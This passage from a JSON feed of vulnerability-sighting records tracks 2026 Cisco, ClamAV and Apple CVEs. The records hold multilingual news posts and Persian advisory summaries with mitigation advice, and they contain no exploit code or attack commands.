\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u061b\n- \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u060c \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0631\u0648\u0634 \"\u0644\u06cc\u0633\u062a \u0633\u0641\u06cc\u062f\" (\u0641\u0642\u0637 \u0627\u062c\u0627\u0632\u0647 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0648 \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc \u0645\u062c\u0627\u0632).\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc SIEM \u0628\u0631\u0627\u06cc \u0631\u062f\u06cc\u0627\u0628\u06cc \u0631\u0648\u06cc\u062f\u0627\u062f\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0641\u0639\u0627\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631\u0627\u0646\u06cc \u06a9\u0647 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0646\u0634\u062f\u0647\u200c\u0627\u0646\u062f.\n- \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0627\u0632 \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc \u062e\u0627\u0631\u062c\u06cc (\u0627\u06cc\u0646\u062a\u0631\u0646\u062a).\n\n\u0628\u0631\u0627\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk\n\ud83d\udca1\u0627\u06af\u0631 \u0627\u06cc\u0646 \u0645\u062a\u0646 \u062f\u06cc\u062f\u06af\u0627\u0647 \u0634\u0645\u0627 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0627\u062f\u060c \u0628\u0627\u0630\u06a9\u0631 \u0645\u0646\u0628\u0639 \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u0628\u06af\u0630\u0627\u0631\u06cc\u062f. \n\ud83c\udfed\u00a0 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n@pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u062a\u0644\u06af\u0631\u0627\u0645 :\nhttps://t.me/ICSCERT_IR\n\u0627\u06cc\u062a\u0627:\nhttps://eitaa.com/joinchat/1866007784Cfd023f90b2\n\u06af\u0631\u0648\u0647 \u062a\u062e\u0635\u0635\u06cc \u0648\u0627\u062a\u0633 \u0627\u067e:\nhttps://chat.whatsapp.com/BZu1yr1aeHpCDxiIXotzyW?mode=ac_t\n\u0628\u0647 \u0627\u0646\u062c\u0645\u0646 \u062a\u062e\u0635\u0635\u06cc AI.Sec :\nhttps://chat.whatsapp.com/KRPUA6WM4f6AdS727vRBmM?mode=ems_copy_t\n\u06a9\u0627\u0646\u0627\u0644 \u0628\u0644\u0647\nhttps://ble.ir/otsec", "creation_timestamp": "2026-08-11T00:00:08.045848Z"}, {"uuid": "aeebc080-d209-47bf-a4bf-11dd3c7deb9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20273", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117049715765432892", "content": "A severe vulnerability was disclosed for Cisco IOS XE Software (CVE-2026-20273) https://vuldb.com/vuln/386303", "creation_timestamp": "2026-08-06T17:22:04.185453Z"}, {"uuid": "48ca1efe-7c5c-4b5f-8785-23681149fbf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20191", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnhcm37wm2y", "content": "\u0423\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-20191 \u0432 Cisco Catalyst Center\n\n\n\nhttps://kripta.biz/posts/406A6A4C-B5FE-43EB-8862-32CEC33EF77E", "creation_timestamp": "2026-07-02T06:57:11.066462Z"}, {"uuid": "4c4632dc-bf3b-4827-82e1-380c2d916af9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20213", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnhkpqzvl2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20213 \u0432 ClamAV: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/FED89357-F1F3-400D-B77E-73FC75E65CE7", "creation_timestamp": "2026-07-02T07:01:42.725537Z"}, {"uuid": "e7e4de89-07ba-4a9c-9bfd-cde9d5614e92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "published-proof-of-concept", "source": "https://t.me/ics_cert/1415", "content": "\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0631\u0627\u0628\u0637 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0648\u0628 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0634\u0628\u06a9\u0647 Cisco Secure Firewall Management Center (\u06a9\u0647 \u0642\u0628\u0644\u0627\u064b Cisco Firepower Management Center \u0646\u0627\u0645\u06cc\u062f\u0647 \u0645\u06cc\u200c\u0634\u062f) \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0646\u0642\u0635 \u062f\u0631 \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645 \u0633\u0631\u06cc\u0627\u0644\u200c\u0633\u0627\u0632\u06cc \u0645\u062c\u062f\u062f \u0627\u06cc\u062c\u0627\u062f \u0634\u062f\u0647 \u0627\u0633\u062a. \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u06cc\u06a9 \u0647\u06a9\u0631 \u06a9\u0647 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0639\u0645\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc root \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f\u060c \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc \u062e\u0627\u0635.\n\nBDU:2026-02531\nCVE-2026-20131\n\n\u0646\u0635\u0628 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u200c\u0647\u0627 \u0627\u0632 \u0645\u0646\u0627\u0628\u0639 \u0645\u0639\u062a\u0628\u0631. \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0634\u0631\u0627\u06cc\u0637 \u0641\u0639\u0644\u06cc \u0648 \u062a\u062d\u0631\u06cc\u0645\u200c\u0647\u0627\u06cc \u0627\u0639\u0645\u0627\u0644\u200c\u0634\u062f\u0647 \u0639\u0644\u06cc\u0647 \u0641\u062f\u0631\u0627\u0633\u06cc\u0648\u0646 \u0631\u0648\u0633\u06cc\u0647\u060c \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u200c\u0647\u0627\u06cc \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0641\u0642\u0637 \u067e\u0633 \u0627\u0632 \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u062a\u0645\u0627\u0645 \u062e\u0637\u0631\u0627\u062a \u0645\u0631\u062a\u0628\u0637\u060c \u0646\u0635\u0628 \u06a9\u0646\u06cc\u062f.\n\n\u0627\u0642\u062f\u0627\u0645\u0627\u062a \u062c\u0628\u0631\u0627\u0646\u06cc:\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644\u200c\u0647\u0627\u06cc \u0644\u0627\u06cc\u0647 \u0628\u0631\u0646\u0627\u0645\u06a9 (WAF) \u0628\u0631\u0627\u06cc \u0641\u06cc\u0644\u062a\u0631 \u06a9\u0631\u062f\u0646 \u062a\u0631\u0627\u0641\u06cc\u06a9 \u0634\u0628\u06a9\u0647.\n- \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u060c \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0631\u0648\u0634 \"\u0644\u06cc\u0633\u062a \u0633\u0641\u06cc\u062f\" (\u0641\u0642\u0637 \u0627\u062c\u0627\u0632\u0647 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0645\u0648\u0627\u0631\u062f \u0645\u0634\u062e\u0635\u200c\u0634\u062f\u0647).\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc SIEM \u0628\u0631\u0627\u06cc \u0631\u062f\u06cc\u0627\u0628\u06cc \u0631\u0648\u06cc\u062f\u0627\u062f\u0647\u0627\u06cc \u0645\u0631\u062a\u0628\u0637 \u0628\u0627 \u0641\u0639\u0627\u0644\u06cc\u062a \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062f\u0627\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc root.\n- \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc \u062e\u0627\u0631\u062c\u06cc (\u0627\u06cc\u0646\u062a\u0631\u0646\u062a).\n\n\u0628\u0631\u0627\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-rce-NKhnULJh\n\ud83d\udca1\u0627\u06af\u0631 \u0627\u06cc\u0646 \u0645\u062a\u0646 \u062f\u06cc\u062f\u06af\u0627\u0647 \u0634\u0645\u0627 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0627\u062f\u060c \u0628\u0627\u0630\u06a9\u0631 \u0645\u0646\u0628\u0639 \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u0628\u06af\u0630\u0627\u0631\u06cc\u062f. \n\ud83c\udfed\u00a0 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n@pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u062a\u0644\u06af\u0631\u0627\u0645 :\nhttps://t.me/ICSCERT_IR\n\u0627\u06cc\u062a\u0627:\nhttps://eitaa.com/joinchat/1866007784Cfd023f90b2\n\u06af\u0631\u0648\u0647 \u062a\u062e\u0635\u0635\u06cc \u0648\u0627\u062a\u0633 \u0627\u067e:\nhttps://chat.whatsapp.com/BZu1yr1aeHpCDxiIXotzyW?mode=ac_t\n\u0628\u0647 \u0627\u0646\u062c\u0645\u0646 \u062a\u062e\u0635\u0635\u06cc AI.Sec :\nhttps://chat.whatsapp.com/KRPUA6WM4f6AdS727vRBmM?mode=ems_copy_t\n\u06a9\u0627\u0646\u0627\u0644 \u0628\u0644\u0647\nhttps://ble.ir/otsec", "creation_timestamp": "2026-08-11T00:00:07.957522Z"}, {"uuid": "350a98ae-967d-460f-aec8-0b650282c735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "published-proof-of-concept", "source": "Telegram/7mh8zFRhm4oS-bLFzm82YdNZ3UVlQ--Ue-6K9sBFh0ZzF5o", "content": "", "creation_timestamp": "2026-08-11T00:00:08.610917Z"}, {"uuid": "d3e3deb3-1fdd-4149-b828-e52333c82d4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3msrd6dceag2a", "content": "Apple Patches CVE-2026-20700: Zero-Day in dyld Survived Two Decades in iOS", "creation_timestamp": "2026-08-11T00:09:26.656528Z"}, {"uuid": "d5ffbd76-203c-48d1-a08c-f5fe93167b1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20349", "type": "seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3msxfi3z2rd2q", "content": "\ud83d\udea8 CISA KEV [CVSS 8.6 \u00b7 HIGH]\nCisco fixes vulnerability exploited to DoS its firewalls (CVE-2026-20349)\n\nhttps://www.helpnetsecurity.com/2026/08/13/cve-2026-20349-cisco-firewalls-dos/\n\n#CISA #KEV #PatchNow", "creation_timestamp": "2026-08-13T10:06:40.348046Z"}, {"uuid": "b12291ce-c576-4421-9bb3-aa45b1b6c700", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20148", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mthqipn3tu2j", "content": "Cisco ISE: Patch Available for Directory Traversal CVE-2026-20148", "creation_timestamp": "2026-08-19T22:06:27.719257Z"}, {"uuid": "f3eee27b-cf88-4c96-bc32-41e92ac0bf20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/threatclaw.bsky.social/post/3mss2573h3p2t", "content": "Hard-Coded Passwords in Firewalls: SMBs Must Act Now\n\nCVE-2026-20316 exposes Cisco Secure Firewall Management Center via hard-coded credentials. Learn ATT&CK techniques and SMB detection steps.\n\nhttps://threatclaw.io/en/blog/threat-brief-2026-08-04\n\n#infosec #ThreatDetection #DFIR #CVE", "creation_timestamp": "2026-08-11T07:00:24.152204Z"}, {"uuid": "ffabce80-7d71-4dda-9558-0addd6a5a615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "MISP/170722ec-e2a5-4455-9c36-cb36b72bcffc", "content": "", "creation_timestamp": "2026-08-06T18:15:03.512263Z"}, {"uuid": "015972a5-4685-48fc-b25a-f8f8abd22073", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-clamav-2", "content": "Aggiornamenti di sicurezza Cisco sanano 7 vulnerabilit\u00e0 con gravit\u00e0 \"alta\" presenti in ClamAV, software open source per l'analisi antivirus. Tra queste si evidenziano le CVE-2026-20337 e CVE-2026-20338 per le quali il vendor conferma la presenza di Proof of Concept (PoC) disponibili in rete.", "creation_timestamp": "2026-08-11T01:00:35.987173Z"}, {"uuid": "58323e53-b359-40e7-a830-531981e91704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-clamav-2", "content": "Aggiornamenti di sicurezza Cisco sanano 7 vulnerabilit\u00e0 con gravit\u00e0 \"alta\" presenti in ClamAV, software open source per l'analisi antivirus. Tra queste si evidenziano le CVE-2026-20337 e CVE-2026-20338 per le quali il vendor conferma la presenza di Proof of Concept (PoC) disponibili in rete.", "creation_timestamp": "2026-08-11T01:00:36.056438Z"}, {"uuid": "4d5267d1-512a-4d88-a50a-97c8ae539d28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mss3hyo3ko2h", "content": "Cisco\u3001ClamAV\u306e\u8106\u5f31\u6027\u3092\u516c\u8868\u2500\u2500\u7d30\u5de5\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u3067\u30a2\u30f3\u30c1\u30a6\u30a4\u30eb\u30b9\u30b9\u30ad\u30e3\u30f3\u304c\u30af\u30e9\u30c3\u30b7\u30e5\u3059\u308b\u6050\u308c\n\nCisco\u306f\u3001ClamAV\u306b\u5b58\u5728\u3059\u308b\u8106\u5f31\u60277\u4ef6\u3092\u516c\u8868\u3057\u307e\u3057\u305f\u3002\u6df1\u523b\u5ea6\u306f\u300c\u9ad8\u300d\u3067\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u9060\u9694\u306e\u653b\u6483\u8005\u304c\u7279\u5225\u306b\u7d30\u5de5\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u9001\u308a\u8fbc\u3080\u3053\u3068\u3067\u3001\u30a2\u30f3\u30c1\u30a6\u30a4\u30eb\u30b9\u30b9\u30ad\u30e3\u30f3\u3092\u59a8\u5bb3\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002 \u3053\u308c\u3089\u306e\u8106\u5f31\u6027\u306fCVE-2026-20337\u3001CVE-2026-20338\u3001CVE-2026-20339\u3001CVE-...", "creation_timestamp": "2026-08-11T07:24:20.114605Z"}, {"uuid": "3e574b3b-d624-4bf0-82b3-e2880da5c0e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20339", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mss3hyo3ko2h", "content": "Cisco\u3001ClamAV\u306e\u8106\u5f31\u6027\u3092\u516c\u8868\u2500\u2500\u7d30\u5de5\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u3067\u30a2\u30f3\u30c1\u30a6\u30a4\u30eb\u30b9\u30b9\u30ad\u30e3\u30f3\u304c\u30af\u30e9\u30c3\u30b7\u30e5\u3059\u308b\u6050\u308c\n\nCisco\u306f\u3001ClamAV\u306b\u5b58\u5728\u3059\u308b\u8106\u5f31\u60277\u4ef6\u3092\u516c\u8868\u3057\u307e\u3057\u305f\u3002\u6df1\u523b\u5ea6\u306f\u300c\u9ad8\u300d\u3067\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u9060\u9694\u306e\u653b\u6483\u8005\u304c\u7279\u5225\u306b\u7d30\u5de5\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u9001\u308a\u8fbc\u3080\u3053\u3068\u3067\u3001\u30a2\u30f3\u30c1\u30a6\u30a4\u30eb\u30b9\u30b9\u30ad\u30e3\u30f3\u3092\u59a8\u5bb3\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002 \u3053\u308c\u3089\u306e\u8106\u5f31\u6027\u306fCVE-2026-20337\u3001CVE-2026-20338\u3001CVE-2026-20339\u3001CVE-...", "creation_timestamp": "2026-08-11T07:24:20.174967Z"}, {"uuid": "de7da0bc-0436-48d6-92d8-8b264d1cdac7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20359", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mthqp6mgpw2u", "content": "CVE-2026-20359 - cisco crosswork planning\nCisco Crosswork users should be aware of a security update that addresses vulnerabilities related to password protection. This update is a proactive measure to strengthen the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-08-19T22:10:04.300780Z"}, {"uuid": "7587f6f0-7e87-47b6-a7da-9b3943be47ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20318", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mthqp7zyxe23", "content": "CVE-2026-20318 - cisco secure workload\nCisco Secure Workload has identified and fixed vulnerabilities that could allow an attacker to crash the software or disrupt its operation. This issue affects the security and\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-08-19T22:10:05.616661Z"}, {"uuid": "187b8590-5361-4317-8a89-93f028694c17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=2010", "content": "", "creation_timestamp": "2026-08-13T10:16:03.918885Z"}, {"uuid": "15312673-5643-48e7-8bbb-1350d5e3d5b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20191", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1941", "content": "", "creation_timestamp": "2026-07-02T09:45:14.081862Z"}, {"uuid": "fad14292-b01b-4064-b4eb-d52dca392f9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20213", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1941", "content": "", "creation_timestamp": "2026-07-02T09:45:16.258733Z"}, {"uuid": "e834783d-dc18-41c5-90a8-8d658896241e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20217", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1941", "content": "", "creation_timestamp": "2026-07-02T09:45:18.413647Z"}, {"uuid": "38afef6f-42ee-4225-bbb2-46665ecbb227", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20243", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1941", "content": "", "creation_timestamp": "2026-07-02T09:45:20.786456Z"}, {"uuid": "48e3f642-6bcb-4dd8-9469-6c161e2a7c89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20244", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1941", "content": "", "creation_timestamp": "2026-07-02T09:45:22.991747Z"}, {"uuid": "e3d18280-5ef5-47d1-bc3f-037fb4a7aec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "published-proof-of-concept", "source": "Telegram/GwuC3cy-O_zU2KFCuHY_MrTkUTBOKWE1Dd5EfEUwy3SR_6M", "content": "", "creation_timestamp": "2026-08-18T01:00:04.943745Z"}, {"uuid": "6afbf395-e00a-475e-8d61-fac260156667", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "published-proof-of-concept", "source": "Telegram/idIOBRrg4VzKcTwjdY2a29HXXP5ypVWeuPQHuHGKT56HHBs", "content": "", "creation_timestamp": "2026-08-18T01:00:04.665258Z"}, {"uuid": "0d6b5184-6c5e-4118-996c-bfe88b51aeff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mt4l35wspt2g", "content": "Cisco warns of CVE-2026-20349, a high-severity flaw (8.6 CVSS) in Secure Firewall ASA/FTD. Exploited in the wild, it allows unauthed attackers to trigger issues via HTTP request errors.", "creation_timestamp": "2026-08-15T11:30:07.470690Z"}, {"uuid": "22fc8828-7a6b-4d29-ac3c-94b8fb8f2cd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mpnuympbcl2q", "content": "CVE-2026-20230 in Cisco Unified CM/SME is actively exploited, enabling SSRF and potential root access; WebDialer-enabled appliances require patching to remediate.\n", "creation_timestamp": "2026-07-02T11:02:08.384951Z"}, {"uuid": "e7ecaac1-6d6d-47dd-bc12-69b1b60e2b5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mpnyvq642h2m", "content": "Cisco Unified CM Under Active Attack: Critical SSRF Flaw CVE-2026-20230 Turns From Patch to Real-World Exploitation Nightmare +\u00a0Video\n\nIntroduction: When Enterprise Voice Infrastructure Becomes the Weakest Link Cisco\u2019s enterprise communication backbone, the Cisco Unified Communications Manager,\u2026", "creation_timestamp": "2026-07-02T12:12:06.333988Z"}, {"uuid": "124fbf28-ec99-46f9-87eb-ff0f76dae204", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mpo3m5dxna2u", "content": "Cisco confirms active exploitation of CVE-2026-20230 in Unified CM and Unified CM SME. WebDialer-enabled systems may face SSRF, arbitrary file writes, and possible root access. #Cisco #UnifiedCM #WebDialer", "creation_timestamp": "2026-07-02T13:00:25.502781Z"}, {"uuid": "11624e1b-c75a-477a-aa39-5315c2c3ac25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 